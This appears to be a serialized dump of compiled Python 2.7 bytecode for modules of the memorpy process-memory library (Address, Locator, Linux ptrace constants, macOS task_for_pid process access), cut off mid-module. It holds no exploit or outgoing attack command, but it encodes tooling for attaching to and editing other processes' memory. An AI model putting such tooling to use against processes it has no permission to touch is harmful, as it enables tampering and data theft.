py2.7.egg/memorpy/Address.pyt\\x07\\x00\\x00\\x00__set__[\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\x00\\x00\\x00C\\x00\\x00\\x00s\\x13\\x00\\x00\\x00|\\x00\\x00j\\x00\\x00t\\x01\\x00|\\x01\\x00\\x83\\x01\\x00k\\x00\\x00S(\\x01\\x00\\x00\\x00N(\\x02\\x00\\x00\\x00R\\x06\\x00\\x00\\x00R\\x05\\x00\\x00\\x00(\\x02\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00R!\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\x06\\x00\\x00\\x00__lt__^\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\x00\\x00\\x00C\\x00\\x00\\x00s\\x13\\x00\\x00\\x00|\\x00\\x00j\\x00\\x00t\\x01\\x00|\\x01\\x00\\x83\\x01\\x00k\\x01\\x00S(\\x01\\x00\\x00\\x00N(\\x02\\x00\\x00\\x00R\\x06\\x00\\x00\\x00R\\x05\\x00\\x00\\x00(\\x02\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00R!\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\x06\\x00\\x00\\x00__le__a\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\x00\\x00\\x00C\\x00\\x00\\x00s\\x13\\x00\\x00\\x00|\\x00\\x00j\\x00\\x00t\\x01\\x00|\\x01\\x00\\x83\\x01\\x00k\\x02\\x00S(\\x01\\x00\\x00\\x00N(\\x02\\x00\\x00\\x00R\\x06\\x00\\x00\\x00R\\x05\\x00\\x00\\x00(\\x02\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00R!\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\x06\\x00\\x00\\x00__eq__d\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\x00\\x00\\x00C\\x00\\x00\\x00s\\x13\\x00\\x00\\x00|\\x00\\x00j\\x00\\x00t\\x01\\x00|\\x01\\x00\\x83\\x01\\x00k\\x03\\x00S(\\x01\\x00\\x00\\x00N(\\x02\\x00\\x00\\x00R\\x06\\x00\\x00\\x00R\\x05\\x00\\x00\\x00(\\x02\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00R!\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\x06\\x00\\x00\\x00__ne__g\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\x00\\x00\\x00C\\x00\\x00\\x00s\\x13\\x00\\x00\\x00|\\x00\\x00j\\x00\\x00t\\x01\\x00|\\x01\\x00\\x83\\x01\\x00k\\x04\\x00S(\\x01\\x00\\x00\\x00N(\\x02\\x00\\x00\\x00R\\x06\\x00\\x00\\x00R\\x05\\x00\\x00\\x00(\\x02\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00R!\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\x06\\x00\\x00\\x00__gt__j\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\x00\\x00\\x00C\\x00\\x00\\x00s\\x13\\x00\\x00\\x00|\\x00\\x00j\\x00\\x00t\\x01\\x00|\\x01\\x00\\x83\\x01\\x00k\\x05\\x00S(\\x01\\x00\\x00\\x00N(\\x02\\x00\\x00\\x00R\\x06\\x00\\x00\\x00R\\x05\\x00\\x00\\x00(\\x02\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00R!\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\x06\\x00\\x00\\x00__ge__m\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01N(\\x19\\x00\\x00\\x00R\\x01\\x00\\x00\\x00R\\x02\\x00\\x00\\x00t\\x07\\x00\\x00\\x00__doc__R\\x0c\\x00\\x00\\x00R\\t\\x00\\x00\\x00R\\x11\\x00\\x00\\x00R\\x12\\x00\\x00\\x00R\\x15\\x00\\x00\\x00R\\x16\\x00\\x00\\x00R\\x1f\\x00\\x00\\x00R \\x00\\x00\\x00R"\\x00\\x00\\x00R#\\x00\\x00\\x00R&\\x00\\x00\\x00R)\\x00\\x00\\x00R*\\x00\\x00\\x00R,\\x00\\x00\\x00R/\\x00\\x00\\x00R0\\x00\\x00\\x00R1\\x00\\x00\\x00R2\\x00\\x00\\x00R3\\x00\\x00\\x00R4\\x00\\x00\\x00R5\\x00\\x00\\x00R6\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyR\\x03\\x00\\x00\\x00\\x17\\x00\\x00\\x00s,\\x00\\x00\\x00\\x06\\x01\\x06\\x02\\x0c\\x06\\x12\\x10\\x0c\\x05\\t\\x03\\t\\x03\\x12\\x04\\t\\x03\\t\\x03\\t\\x03\\t\\x05\\t\\x05\\t\\x03\\t\\x03\\t\\x03\\t\\x03\\t\\x03\\t\\x03\\t\\x03\\t\\x03\\t\\x03(\\x05\\x00\\x00\\x00R\\x1a\\x00\\x00\\x00t\\t\\x00\\x00\\x00ExceptionR\\x00\\x00\\x00\\x00t\\x06\\x00\\x00\\x00objectR\\x03\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\x08\\x00\\x00\\x00\\x11\\x00\\x00\\x00s\\x04\\x00\\x00\\x00\\x0c\\x02\\x16\\x04\'\np7\nsS\'memorpy/Locator.pyc\'\np8\nS"\\x03\\xf3\\r\\ng\\x18\\x05Yc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00@\\x00\\x00\\x00sN\\x00\\x00\\x00d\\x00\\x00d\\x01\\x00l\\x00\\x00Z\\x00\\x00d\\x00\\x00d\\x01\\x00l\\x01\\x00Z\\x01\\x00d\\x00\\x00d\\x02\\x00l\\x02\\x00m\\x02\\x00Z\\x02\\x00\\x01d\\x00\\x00d\\x01\\x00l\\x03\\x00Z\\x03\\x00d\\x03\\x00e\\x04\\x00f\\x01\\x00d\\x04\\x00\\x84\\x00\\x00\\x83\\x00\\x00YZ\\x05\\x00d\\x01\\x00S(\\x05\\x00\\x00\\x00i\\xff\\xff\\xff\\xffN(\\x01\\x00\\x00\\x00t\\x07\\x00\\x00\\x00Addresst\\x07\\x00\\x00\\x00Locatorc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00B\\x00\\x00\\x00sY\\x00\\x00\\x00e\\x00\\x00Z\\x01\\x00d\\x00\\x00Z\\x02\\x00d\\x01\\x00d\\x08\\x00d\\x08\\x00d\\x02\\x00\\x84\\x03\\x00Z\\x04\\x00e\\x05\\x00d\\x03\\x00\\x84\\x01\\x00Z\\x06\\x00e\\x05\\x00d\\x04\\x00\\x84\\x01\\x00Z\\x07\\x00d\\x05\\x00\\x84\\x00\\x00Z\\x08\\x00e\\t\\x00d\\x06\\x00\\x84\\x01\\x00Z\\n\\x00e\\t\\x00d\\x07\\x00\\x84\\x01\\x00Z\\x0b\\x00RS(\\t\\x00\\x00\\x00s\\xa0\\x00\\x00\\x00 \\n take a memoryworker and a type to search\\n then you can feed the locator with values and it will reduce the addresses possibilities\\n t\\x07\\x00\\x00\\x00unknownc\\x05\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x02\\x00\\x00\\x00C\\x00\\x00\\x00s:\\x00\\x00\\x00|\\x01\\x00|\\x00\\x00_\\x00\\x00|\\x02\\x00|\\x00\\x00_\\x01\\x00i\\x00\\x00|\\x00\\x00_\\x02\\x00d\\x00\\x00|\\x00\\x00_\\x04\\x00|\\x03\\x00|\\x00\\x00_\\x05\\x00|\\x04\\x00|\\x00\\x00_\\x06\\x00d\\x00\\x00S(\\x01\\x00\\x00\\x00N(\\x07\\x00\\x00\\x00t\\x02\\x00\\x00\\x00mwt\\x04\\x00\\x00\\x00typet\\x0e\\x00\\x00\\x00last_iterationt\\x04\\x00\\x00\\x00Nonet\\n\\x00\\x00\\x00last_valuet\\x05\\x00\\x00\\x00startt\\x03\\x00\\x00\\x00end(\\x05\\x00\\x00\\x00t\\x04\\x00\\x00\\x00selfR\\x03\\x00\\x00\\x00R\\x04\\x00\\x00\\x00R\\x08\\x00\\x00\\x00R\\t\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Locator.pyt\\x08\\x00\\x00\\x00__init__\\x1c\\x00\\x00\\x00s\\x0c\\x00\\x00\\x00\\x00\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01c\\x03\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x03\\x00\\x00\\x00C\\x00\\x00\\x00s\\x10\\x00\\x00\\x00|\\x00\\x00j\\x00\\x00|\\x01\\x00|\\x02\\x00\\x83\\x02\\x00S(\\x01\\x00\\x00\\x00N(\\x01\\x00\\x00\\x00t\\x04\\x00\\x00\\x00feed(\\x03\\x00\\x00\\x00R\\n\\x00\\x00\\x00t\\x05\\x00\\x00\\x00valuet\\n\\x00\\x00\\x00erase_last(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Locator.pyt\\x04\\x00\\x00\\x00find$\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x03\\x00\\x00\\x00\\x0b\\x00\\x00\\x00\\t\\x00\\x00\\x00C\\x00\\x00\\x00s\\x99\\x01\\x00\\x00|\\x01\\x00|\\x00\\x00_\\x00\\x00t\\x01\\x00j\\x01\\x00|\\x00\\x00j\\x02\\x00\\x83\\x01\\x00}\\x03\\x00|\\x00\\x00j\\x03\\x00d\\x01\\x00k\\x02\\x00rK\\x00d\\x02\\x00d\\x03\\x00d\\x04\\x00d\\x05\\x00d\\x06\\x00d\\x07\\x00d\\x08\\x00d\\t\\x00g\\x08\\x00}\\x04\\x00n\\x0c\\x00|\\x00\\x00j\\x03\\x00g\\x01\\x00}\\x04\\x00x#\\x01|\\x04\\x00D]\\x1b\\x01}\\x05\\x00|\\x05\\x00|\\x03\\x00k\\x07\\x00r\\xe8\\x00yT\\x00g\\x00\\x00|\\x00\\x00j\\x04\\x00j\\x05\\x00|\\x01\\x00|\\x05\\x00d\\n\\x00|\\x00\\x00j\\x06\\x00d\\x0b\\x00|\\x00\\x00j\\x07\\x00\\x83\\x02\\x02D]\\x1e\\x00}\\x06\\x00t\\x08\\x00|\\x06\\x00|\\x00\\x00j\\x04\\x00j\\t\\x00|\\x05\\x00\\x83\\x03\\x00^\\x02\\x00q\\x9b\\x00|\\x03\\x00|\\x05\\x00\\x00\\x00\\x00\\x00\\x01\\t\\x01\\x12\\x01\\x0f\\x01\\x03\\x01\\x03\\x01\\x03\\x01\\x03\\x01\\x03\\x01\\x03\\x01\\x03\\x01\\x0c\\x02\\x0c\\x01\\r\\x01\\x0c\\x01\\x03\\x01T\\x01\\x10\\x01\\x11\\x02\\x06\\x01\\x11\\x01\\x03\\x01\\x18\\x01\\x18\\x01&\\x01\\x0f\\x01\\x08\\x02\\x0e\\x02\\x06\\x01\\x06\\x01\\x0c\\x01c\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00C\\x00\\x00\\x00s\\x07\\x00\\x00\\x00|\\x00\\x00j\\x00\\x00S(\\x01\\x00\\x00\\x00N(\\x01\\x00\\x00\\x00R\\x05\\x00\\x00\\x00(\\x01\\x00\\x00\\x00R\\n\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Locator.pyt\\r\\x00\\x00\\x00get_addressesL\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00C\\x00\\x00\\x00s\\r\\x00\\x00\\x00|\\x00\\x00j\\x00\\x00|\\x01\\x00\\x83\\x01\\x00S(\\x01\\x00\\x00\\x00N(\\x01\\x00\\x00\\x00t\\x11\\x00\\x00\\x00get_modified_addr(\\x02\\x00\\x00\\x00R\\n\\x00\\x00\\x00R\\x0e\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Locator.pyt\\x04\\x00\\x00\\x00diffO\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x02\\x00\\x00\\x00\\t\\x00\\x00\\x00\\x05\\x00\\x00\\x00C\\x00\\x00\\x00s\\xa2\\x00\\x00\\x00|\\x00\\x00j\\x00\\x00}\\x02\\x00|\\x00\\x00j\\x01\\x00|\\x00\\x00j\\x02\\x00d\\x01\\x00|\\x01\\x00\\x83\\x01\\x01}\\x03\\x00i\\x00\\x00}\\x04\\x00xt\\x00|\\x02\\x00j\\x03\\x00\\x83\\x00\\x00D]f\\x00\\\\\\x02\\x00}\\x05\\x00}\\x06\\x00t\\x04\\x00|\\x03\\x00|\\x05\\x00\\x19\\x83\\x01\\x00}\\x07\\x00xG\\x00|\\x06\\x00D]?\\x00}\\x08\\x00|\\x08\\x00|\\x07\\x00k\\x07\\x00rW\\x00|\\x05\\x00|\\x04\\x00k\\x07\\x00r\\x82\\x00g\\x00\\x00|\\x04\\x00|\\x05\\x00\\x11\\x00\\x00\\x00s\\x08\\x00\\x00\\x00\\x0c\\x01\\x0c\\x01\\x10\\x01\\x0c\\x02"\np9\nsS\'memorpy/LinStructures.pyc\'\np10\nS\'\\x03\\xf3\\r\\ng\\x18\\x05Yc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00@\\x00\\x00\\x00sh\\x00\\x00\\x00d\\x00\\x00Z\\x00\\x00d\\x01\\x00Z\\x01\\x00d\\x02\\x00Z\\x02\\x00d\\x03\\x00Z\\x03\\x00d\\x04\\x00Z\\x04\\x00d\\x05\\x00Z\\x05\\x00e\\x03\\x00e\\x01\\x00Be\\x02\\x00BZ\\x06\\x00e\\x03\\x00e\\x01\\x00BZ\\x07\\x00e\\x01\\x00Z\\x08\\x00e\\x01\\x00e\\x02\\x00BZ\\t\\x00d\\x06\\x00Z\\n\\x00d\\x05\\x00Z\\x0b\\x00d\\x07\\x00Z\\x0c\\x00d\\x08\\x00Z\\r\\x00d\\t\\x00S(\\n\\x00\\x00\\x00i\\x00\\x00\\x00\\x00i\\x01\\x00\\x00\\x00i\\x02\\x00\\x00\\x00i\\x04\\x00\\x00\\x00i\\x08\\x00\\x00\\x00i\\x10\\x00\\x00\\x00i\\x05\\x00\\x00\\x00i\\x11\\x00\\x00\\x00i\\x07\\x00\\x00\\x00N(\\x0e\\x00\\x00\\x00t\\t\\x00\\x00\\x00PROT_NONEt\\t\\x00\\x00\\x00PROT_READt\\n\\x00\\x00\\x00PROT_WRITEt\\t\\x00\\x00\\x00PROT_EXECt\\x0c\\x00\\x00\\x00PROT_PRIVATEt\\x0b\\x00\\x00\\x00PROT_SHAREDt\\x16\\x00\\x00\\x00PAGE_EXECUTE_READWRITEt\\x11\\x00\\x00\\x00PAGE_EXECUTE_READt\\r\\x00\\x00\\x00PAGE_READONLYt\\x0e\\x00\\x00\\x00PAGE_READWRITEt\\x0f\\x00\\x00\\x00PTRACE_POKEDATAt\\r\\x00\\x00\\x00PTRACE_ATTACHt\\r\\x00\\x00\\x00PTRACE_DETACHt\\x0b\\x00\\x00\\x00PTRACE_CONT(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sU\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinStructures.pyt\\x08\\x00\\x00\\x00\\x04\\x00\\x00\\x00s\\x1a\\x00\\x00\\x00\\x06\\x01\\x06\\x01\\x06\\x01\\x06\\x01\\x06\\x01\\x06\\x03\\x0e\\x01\\n\\x01\\x06\\x01\\n\\x02\\x06\\x01\\x06\\x01\\x06\\x01\'\np11\nsS\'memorpy/OSXProcess.pyc\'\np12\nS\'\\x03\\xf3\\r\\ng\\x18\\x05Yc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00@\\x00\\x00\\x00sD\\x01\\x00\\x00d\\x00\\x00d\\x01\\x00l\\x00\\x00Z\\x00\\x00d\\x00\\x00d\\x01\\x00l\\x01\\x00Z\\x01\\x00d\\x00\\x00d\\x01\\x00l\\x02\\x00Z\\x02\\x00d\\x00\\x00d\\x01\\x00l\\x03\\x00Z\\x03\\x00d\\x00\\x00d\\x01\\x00l\\x04\\x00Z\\x04\\x00d\\x00\\x00d\\x01\\x00l\\x05\\x00Z\\x05\\x00d\\x00\\x00d\\x01\\x00l\\x06\\x00Z\\x06\\x00d\\x00\\x00d\\x01\\x00l\\x07\\x00Z\\x04\\x00d\\x00\\x00d\\x01\\x00l\\x08\\x00Z\\x08\\x00d\\x00\\x00d\\x01\\x00l\\t\\x00Z\\t\\x00d\\x00\\x00d\\x01\\x00l\\n\\x00Z\\n\\x00d\\x00\\x00d\\x02\\x00l\\x0b\\x00m\\x0b\\x00Z\\x0b\\x00m\\x0c\\x00Z\\x0c\\x00\\x01d\\x00\\x00d\\x03\\x00l\\r\\x00Td\\x00\\x00d\\x01\\x00l\\x0e\\x00Z\\x0e\\x00d\\x00\\x00d\\x01\\x00l\\x0f\\x00Z\\x0f\\x00e\\x0e\\x00j\\x10\\x00d\\x04\\x00\\x83\\x01\\x00Z\\x11\\x00e\\x04\\x00j\\x12\\x00e\\x04\\x00j\\x13\\x00j\\x14\\x00d\\x05\\x00\\x83\\x01\\x00\\x83\\x01\\x00Z\\x15\\x00d\\x06\\x00Z\\x16\\x00d\\x07\\x00e\\x04\\x00j\\x17\\x00f\\x01\\x00d\\x08\\x00\\x84\\x00\\x00\\x83\\x00\\x00YZ\\x18\\x00e\\x04\\x00j\\x19\\x00e\\x18\\x00\\x83\\x01\\x00d\\t\\x00\\x15Z\\x1a\\x00d\\n\\x00Z\\x1b\\x00d\\x0b\\x00Z\\x1c\\x00d\\t\\x00Z\\x1d\\x00d\\x0c\\x00e\\x0b\\x00f\\x01\\x00d\\r\\x00\\x84\\x00\\x00\\x83\\x00\\x00YZ\\x1e\\x00d\\x01\\x00S(\\x0e\\x00\\x00\\x00i\\xff\\xff\\xff\\xffN(\\x02\\x00\\x00\\x00t\\x0b\\x00\\x00\\x00BaseProcesst\\x10\\x00\\x00\\x00ProcessException(\\x01\\x00\\x00\\x00t\\x01\\x00\\x00\\x00*t\\x07\\x00\\x00\\x00memorpyt\\x01\\x00\\x00\\x00ci\\t\\x00\\x00\\x00t\\x17\\x00\\x00\\x00vm_region_basic_info_64c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\t\\x00\\x00\\x00B\\x00\\x00\\x00sn\\x00\\x00\\x00e\\x00\\x00Z\\x01\\x00d\\x00\\x00e\\x02\\x00j\\x03\\x00f\\x02\\x00d\\x01\\x00e\\x02\\x00j\\x03\\x00f\\x02\\x00d\\x02\\x00e\\x02\\x00j\\x03\\x00f\\x02\\x00d\\x03\\x00e\\x02\\x00j\\x03\\x00f\\x02\\x00d\\x04\\x00e\\x02\\x00j\\x03\\x00f\\x02\\x00d\\x05\\x00e\\x02\\x00j\\x04\\x00f\\x02\\x00d\\x06\\x00e\\x02\\x00j\\x03\\x00f\\x02\\x00d\\x07\\x00e\\x02\\x00j\\x05\\x00f\\x02\\x00g\\x08\\x00Z\\x06\\x00RS(\\x08\\x00\\x00\\x00t\\n\\x00\\x00\\x00protectiont\\x0e\\x00\\x00\\x00max_protectiont\\x0b\\x00\\x00\\x00inheritancet\\x06\\x00\\x00\\x00sharedt\\x08\\x00\\x00\\x00reservedt\\x06\\x00\\x00\\x00offsett\\x08\\x00\\x00\\x00behaviort\\x10\\x00\\x00\\x00user_wired_count(\\x07\\x00\\x00\\x00t\\x08\\x00\\x00\\x00__name__t\\n\\x00\\x00\\x00__module__t\\x06\\x00\\x00\\x00ctypest\\x08\\x00\\x00\\x00c_uint32t\\x0b\\x00\\x00\\x00c_ulonglongt\\x08\\x00\\x00\\x00c_ushortt\\x08\\x00\\x00\\x00_fields_(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/OSXProcess.pyR\\x05\\x00\\x00\\x00%\\x00\\x00\\x00s\\x10\\x00\\x00\\x00\\x06\\x02\\x0c\\x01\\x0c\\x01\\x0c\\x01\\x0c\\x01\\x0c\\x01\\x0c\\x01\\x0c\\x01i\\x04\\x00\\x00\\x00i\\x01\\x00\\x00\\x00i\\x02\\x00\\x00\\x00t\\n\\x00\\x00\\x00OSXProcessc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00B\\x00\\x00\\x00s}\\x00\\x00\\x00e\\x00\\x00Z\\x01\\x00d\\n\\x00d\\n\\x00e\\x03\\x00d\\x00\\x00\\x84\\x03\\x00Z\\x04\\x00d\\x01\\x00\\x84\\x00\\x00Z\\x05\\x00d\\x02\\x00\\x84\\x00\\x00Z\\x06\\x00d\\x03\\x00\\x84\\x00\\x00Z\\x07\\x00e\\x08\\x00d\\x04\\x00\\x84\\x00\\x00\\x83\\x01\\x00Z\\t\\x00e\\x08\\x00d\\x05\\x00\\x84\\x00\\x00\\x83\\x01\\x00Z\\n\\x00d\\n\\x00d\\n\\x00d\\n\\x00d\\n\\x00d\\x06\\x00\\x84\\x04\\x00Z\\x0b\\x00d\\x07\\x00\\x84\\x00\\x00Z\\x0c\\x00d\\x08\\x00d\\t\\x00\\x84\\x01\\x00Z\\r\\x00RS(\\x0b\\x00\\x00\\x00c\\x04\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x03\\x00\\x00\\x00C\\x00\\x00\\x00sx\\x00\\x00\\x00t\\x00\\x00t\\x01\\x00|\\x00\\x00\\x83\\x02\\x00j\\x02\\x00\\x83\\x00\\x00\\x01|\\x01\\x00d\\x02\\x00k\\t\\x00r+\\x00|\\x01\\x00|\\x00\\x00_\\x04\\x00n-\\x00|\\x02\\x00d\\x02\\x00k\\t\\x00rL\\x00t\\x01\\x00j\\x05\\x00|\\x02\\x00\\x83\\x01\\x00|\\x00\\x00_\\x04\\x00n\\x0c\\x00t\\x06\\x00d\\x01\\x00\\x83\\x01\\x00\\x82\\x01\\x00d\\x02\\x00|\\x00\\x00_\\x07\\x00d\\x02\\x00|\\x00\\x00_\\x08\\x00|\\x00\\x00j\\t\\x00\\x83\\x00\\x00\\x01d\\x02\\x00S(\\x03\\x00\\x00\\x00s@\\x00\\x00\\x00 Create and Open a process object from its pid or from its name s=\\x00\\x00\\x00You need to instanciate process with at least a name or a pidN(\\n\\x00\\x00\\x00t\\x05\\x00\\x00\\x00superR\\x15\\x00\\x00\\x00t\\x08\\x00\\x00\\x00__init__t\\x04\\x00\\x00\\x00Nonet\\x03\\x00\\x00\\x00pidt\\r\\x00\\x00\\x00pid_from_namet\\n\\x00\\x00\\x00ValueErrort\\x04\\x00\\x00\\x00taskt\\x06\\x00\\x00\\x00mytaskt\\x05\\x00\\x00\\x00_open(\\x04\\x00\\x00\\x00t\\x04\\x00\\x00\\x00selfR\\x19\\x00\\x00\\x00t\\x04\\x00\\x00\\x00namet\\x05\\x00\\x00\\x00debug(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/OSXProcess.pyR\\x17\\x00\\x00\\x008\\x00\\x00\\x00s\\x12\\x00\\x00\\x00\\x00\\x02\\x13\\x01\\x0c\\x01\\x0c\\x01\\x0c\\x01\\x15\\x02\\x0c\\x01\\t\\x01\\t\\x01c\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00C\\x00\\x00\\x00s\\x04\\x00\\x00\\x00d\\x00\\x00S(\\x01\\x00\\x00\\x00N(\\x00\\x00\\x00\\x00(\\x01\\x00\\x00\\x00R\\x1f\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/OSXProcess.pyt\\x05\\x00\\x00\\x00closeE\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00C\\x00\\x00\\x00s\\x04\\x00\\x00\\x00d\\x00\\x00S(\\x01\\x00\\x00\\x00N(\\x00\\x00\\x00\\x00(\\x01\\x00\\x00\\x00R\\x1f\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/OSXProcess.pyt\\x07\\x00\\x00\\x00__del__H\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x05\\x00\\x00\\x00C\\x00\\x00\\x00sz\\x00\\x00\\x00t\\x00\\x00|\\x00\\x00_\\x01\\x00t\\x02\\x00j\\x03\\x00\\x83\\x00\\x00|\\x00\\x00_\\x04\\x00t\\x05\\x00j\\x06\\x00\\x83\\x00\\x00|\\x00\\x00_\\x07\\x00t\\x05\\x00j\\x08\\x00|\\x00\\x00j\\x07\\x00t\\x02\\x00j\\t\\x00|\\x00\\x00j\\n\\x00\\x83\\x01\\x00t\\x02\\x00j\\x0b\\x00|\\x00\\x00j\\x04\\x00\\x83\\x01\\x00\\x83\\x03\\x00}\\x01\\x00|\\x01\\x00d\\x01\\x00k\\x03\\x00rv\\x00t\\x0c\\x00d\\x02\\x00|\\x01\\x00\\x16\\x83\\x01\\x00\\x82\\x01\\x00n\\x00\\x00d\\x00\\x00S(\\x03\\x00\\x00\\x00Ni\\x00\\x00\\x00\\x00s(\\x00\\x00\\x00task_for_pid failed with error code : %s(\\r\\x00\\x00\\x00t\\x04\\x00\\x00\\x00Truet\\r\\x00\\x00\\x00isProcessOpenR\\x10\\x00\\x00\\x00R\\x11\\x00\\x00\\x00R\\x1c\\x00\\x00\\x00t\\x04\\x00\\x00\\x00libct\\x0e\\x00\\x00\\x00mach_task_selfR\\x1d\\x00\\x00\\x00t\\x0c\\x00\\x00\\x00task_for_pidt\\x05\\x00\\x00\\x00c_intR\\x19\\x00\\x00\\x00t\\x07\\x00\\x00\\x00pointerR\\x01\\x00\\x00\\x00(\\x02\\x00\\x00\\x00R\\x1f\\x00\\x00\\x00t\\x03\\x00\\x00\\x00ret(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/OSXProcess.pyR\\x1e\\x00\\x00\\x00K\\x00\\x00\\x00s\\x0c\\x00\\x00\\x00\\x00\\x01\\t\\x01\\x0f\\x01\\x0f\\x010\\x01\\x0c\\x01c\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x05\\x00\\x00\\x00C\\x00\\x00\\x00s\\x97\\x00\\x00\\x00g\\x00\\x00}\\x00\\x00t\\x00\\x00j\\x01\\x00d\\x01\\x00d\\x02\\x00t\\x02\\x00\\x83\\x01\\x01}\\x01\\x00xu\\x00|\\x01\\x00j\\x03\\x00d\\x03\\x00\\x83\\x01\\x00D]d\\x00}\\x02\\x00yT\\x00|\\x02\\x00j\\x03\\x00\\x83\\x00\\x00}\\x03\\x00t\\x04\\x00|\\x03\\x00d\\x04\\x00\\x19\\x83\\x01\\x00}\\x0